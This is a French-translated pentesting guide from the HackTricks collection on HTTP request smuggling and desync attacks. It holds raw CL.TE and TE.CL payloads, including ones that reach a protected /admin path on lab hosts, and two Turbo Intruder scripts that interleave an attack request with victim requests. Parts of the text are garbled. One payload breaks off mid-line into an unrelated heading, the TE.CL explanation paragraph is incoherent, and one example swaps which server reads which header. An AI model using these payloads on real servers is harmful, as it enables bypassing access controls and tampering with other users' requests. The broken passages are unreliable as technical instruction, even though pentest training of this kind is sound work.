hacktricks/pentesting-web/http-request-smuggling/README.md

# HTTP Request Smuggling / Attaque HTTP Desync

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Qu'est-ce que c'est

Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxys frontaux** et le **serveur back-end** permet à un **attaquant** d'envoyer une **requête HTTP** qui sera **interprétée** comme une **seule requête** par les **proxys frontaux** (équilibrage de charge / proxy inverse) et **comme 2 requêtes** par le **serveur back-end**.\
Cela permet à un utilisateur de **modifier la prochaine requête qui arrive sur le serveur back-end après la sienne**.

### Théorie

[**Spécification RFC (2161)**](https://tools.ietf.org/html/rfc2616)

> Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.

**Content-Length**

> L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyé au destinataire.

**Transfer-Encoding: chunked**

> L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité la charge utile du corps à l'utilisateur.\
> Chunked signifie que de grandes données sont envoyées sous forme de séries de fragments.

### Réalité

Le **front-end** (un équilibrage de charge / proxy inverse) **traite** l'en-tête _**content-length**_ ou _**transfer-encoding**_ et le **serveur back-end** **traite l'autre** en provoquant une **désynchronisation** entre les 2 systèmes.\
Cela pourrait être très critique car **un attaquant pourra envoyer une requête** au proxy inverse qui sera **interprétée** par le **serveur back-end comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le **serveur back-end interprétera la 2ème requête injectée** comme si elle **venait du client suivant** et la **vraie requête** de ce client fera **partie de la requête injectée**.

### Particularités

Rappelez-vous qu'en HTTP, **un caractère de nouvelle ligne est composé de 2 octets** :

* **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre d'octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
* **Transfer-Encoding:** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre d'octets** du **prochain fragment**. Le **fragment** doit se **terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **fragment de taille 0 suivi de 2 nouvelles lignes** : `0`
* **Connection**: D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête de la requête Smuggling.

## Exemples de base

Ainsi, les attaques de requête de contrebande impliquent de placer à la fois l'en-tête `Content-Length` et l'en-tête `Transfer-Encoding` dans une seule requête HTTP et de manipuler ces derniers de manière à ce que les serveurs frontal et back-end traitent la requête différemment. La manière exacte dont cela est fait dépend du comportement des deux serveurs :

* **CL.TE** : le serveur frontal utilise l'en-tête `Content-Length` et le serveur back-end utilise l'en-tête `Transfer-Encoding`.
* **TE.CL** : le serveur frontal utilise l'en-tête `Transfer-Encoding` et le serveur back-end utilise l'en-tête `Content-Length`.
* **TE.TE** : les serveurs frontal et back-end prennent tous deux en charge l'en-tête `Transfer-Encoding`, mais l'un des serveurs peut être amené à ne pas le traiter en obscurcissant l'en-tête d'une manière ou d'une autre.

### Vulnérabilités CL.TE

Ici, le serveur **frontal** utilise l'en-tête **`Content-Length`** et le serveur **back-end** utilise l'en-tête **`Transfer-Encoding`**. Nous pouvons effectuer une attaque de requête de contrebande HTTP simple comme suit :

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 30`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /404 HTTP/1.1`\
`Foo: x`

Notez comment `Content-Length` indique que la **longueur des corps de la requête est de 30 octets** (_rappelez-vous que HTTP utilise une nouvelle ligne, donc 2 octets pour chaque nouvelle ligne_), donc le proxy inverse **enverra la requête complète** au back-end, et le back-end traitera l'en-tête `Transfer-Encoding`, laissant `GET /404 HTTP/1.1` comme **début de la prochaine requête** (au fait, la prochaine requête sera ajoutée à `Foo:x<La prochaine requête commence ici>`).

### Vulnérabilités TE.CL

Ici, le serveur frontal utilise l'en-tête `Transfer-Encoding` et le serveur back-end utilise l'en-tête `Content-Length`. Nous pouvons effectuer une attaque de requête de contrebande HTTP
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
Étant donné que le serveur frontal utilise l'en-tête `Content-Length`, il ne transmettra qu'une partie de cette requête, en omettant le `0`. Le serveur arrière utilise l'en-tête `Transfer-Encoding`, traite le premier fragment, puis attend l'arrivée du fragment suivant. Cela entraînera un retard temporel observable.

Parfois, au lieu d'obtenir une temporisation, vous recevez une erreur 400 bad request de l'hôte final comme dans le scénario suivant, où une charge utile CL.TE est envoyée:

![](<../../.gitbook/assets/image (444).png>)

Et la réponse est une redirection contenant une erreur dans le corps avec même la version de haproxy utilisée:

![](<../../.gitbook/assets/image (443).png>)

### Trouver des vulnérabilités TE.CL en utilisant des techniques de temporisation

Si une application est vulnérable à la variante TE.CL de la faille de sécurité de la requête smuggling, alors l'envoi d'une requête comme celle-ci provoquera souvent un retard temporel:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
Étant donné que le serveur frontal utilise l'en-tête `Transfer-Encoding`, il ne transmettra qu'une partie de cette requête, en omettant le `X`. Le serveur arrière utilise l'en-tête `Content-Length`, attend plus de contenu dans le corps du message et attend que le contenu restant arrive. Cela provoquera un retard temporel observable.

### Exploration des vulnérabilités de la technique de requête HTTP Smuggling

Une fois que vous avez constaté que les **techniques de synchronisation fonctionnent**, vous devez **explorer** si vous pouvez **modifier les requêtes d'autres clients**.\
La manière la plus simple de le faire est d'essayer de corrompre vos propres requêtes, **faire une demande pour `/` pour renvoyer un code 404 par exemple**.\
Dans les [Exemples de base](./#basic-examples), nous avons déjà vu des exemples `CL.TE` et `TE.CL` de la manière de corrompre une requête de clients pour demander `/404`, provoquant une réponse 404 lorsque le client demandait une autre ressource.

**Notes**

Certaines considérations importantes doivent être gardées à l'esprit lors de la tentative de confirmation des vulnérabilités de la technique de requête smuggling via l'interférence avec d'autres requêtes :

* La requête "attaque" et la requête "normale" doivent être envoyées au serveur en utilisant des connexions réseau différentes. L'envoi des deux requêtes via la même connexion ne prouvera pas que la vulnérabilité existe.
* La requête "attaque" et la requête "normale" doivent utiliser la même URL et les mêmes noms de paramètres, autant que possible. Cela est dû au fait que de nombreuses applications modernes routent les requêtes frontales vers différents serveurs back-end en fonction de l'URL et des paramètres. L'utilisation de la même URL et des mêmes paramètres augmente la chance que les requêtes soient traitées par le même serveur back-end, ce qui est essentiel pour que l'attaque fonctionne.
* Lors du test de la requête "normale" pour détecter toute interférence de la requête "attaque", vous êtes en concurrence avec toutes les autres requêtes que l'application reçoit en même temps, y compris celles des autres utilisateurs. Vous devez envoyer la requête "normale" immédiatement après la requête "attaque". Si l'application est occupée, vous devrez peut-être effectuer plusieurs tentatives pour confirmer la vulnérabilité.
* Dans certaines applications, le serveur frontal fonctionne comme un équilibreur de charge et transfère les requêtes vers différents systèmes back-end selon un algorithme d'équilibrage de charge. Si vos requêtes "attaque" et "normale" sont transférées vers différents systèmes back-end, l'attaque échouera. C'est une raison supplémentaire pour laquelle vous devrez peut-être essayer plusieurs fois avant qu'une vulnérabilité puisse être confirmée.
* Si votre attaque réussit à interférer avec une requête ultérieure, mais que ce n'était pas la requête "normale" que vous avez envoyée pour détecter l'interférence, cela signifie qu'un autre utilisateur de l'application a été affecté par votre attaque. Si vous continuez à effectuer le test, cela pourrait avoir un effet perturbateur sur les autres utilisateurs et vous devriez faire preuve de prudence.

### Forcer via les en-têtes hop-by-hop

En abusant des en-têtes hop-by-hop, vous pouvez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour qu'une requête HTTP smuggling soit possible à exploiter**.
```
Connection: Content-Lentgh
```
Pour **plus d'informations sur les en-têtes hop-by-hop**, visitez :

{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}

## Abus de la technique HTTP Request Smuggling

### Pour contourner les contrôles de sécurité frontaux

Parfois, les **proxys frontaux effectuent des vérifications de sécurité**. Vous pouvez les éviter en abusant de la technique HTTP Request Smuggling, car vous pourrez **contourner les protections**. Par exemple, dans cet exemple, vous **ne pouvez pas accéder à `/admin` depuis l'extérieur** et le proxy frontal vérifie cela, mais ce **proxy ne vérifie pas la requête intégrée** :

**CL.TE**

`POST / HTTP/1.1`\
`Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\
`Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr`\
`Connection: keep-alive`\
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 67`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`Content-Length: 10`\
\`\`\
`x=`

**TE.CL**

`POST / HTTP/1.1`\
`Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\
`Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c`\
`Content-Type: application/x-www-form-urlencoded`\
`Connection: keep-alive`\
`Content-Length: 4`\
`Transfer-Encoding: chunked`\
`2b`\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`a=x`\
`0`\
`\`

### Révéler la réécriture de requête frontale <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

Dans de nombreuses applications, le **serveur frontal effectue une réécriture des requêtes** avant de les transférer au serveur back-end, généralement en ajoutant des en-têtes de requête supplémentaires.\
Une chose courante à faire est d'**ajouter à la requête l'en-tête** `X-Forwarded-For: <IP du client>` ou un en-tête similaire pour que le back-end connaisse l'IP du client.\
Parfois, si vous pouvez **trouver les nouvelles valeurs qui sont ajoutées** à la requête, vous pourriez être en mesure de **contourner les protections** et d'**accéder à des informations/endpoints cachés**.

Pour découvrir comment le proxy réécrit la requête, vous devez **trouver un paramètre POST dont la valeur sera reflétée dans la réponse** du back-end. Ensuite, utilisez ce paramètre en dernier et utilisez une technique d'exploitation comme celle-ci :

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Content-Length: 130`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
`0`\
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application
### Armes HTTP Request Smuggling avec la désynchronisation de la réponse HTTP

Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :

{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}

## Scripts Turbo Intruder

### CL.TE

Depuis [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)
```
### TE.CL

À partir de: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)

---

La technique TE.CL est une technique de contournement de la protection contre les attaques de désynchronisation HTTP qui consiste à utiliser la méthode de transfert de codage de transfert de corps de message TE avec une valeur de champ de codage de transfert de dernière instance de connexion (CL). Cette technique est utilisée pour envoyer des requêtes HTTP malveillantes qui peuvent être utilisées pour effectuer une prise de contrôle de compte. 

La technique TE.CL est similaire à la technique CL.TE, mais elle utilise la méthode TE avant la méthode CL.
```python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)
```
## Plus d'informations

![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

[Image d'ici.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)

## Outils

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Cet outil est un Fuzzer HTTP basé sur la grammaire utile pour trouver des anomalies de trafic HTTP.

## Références

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>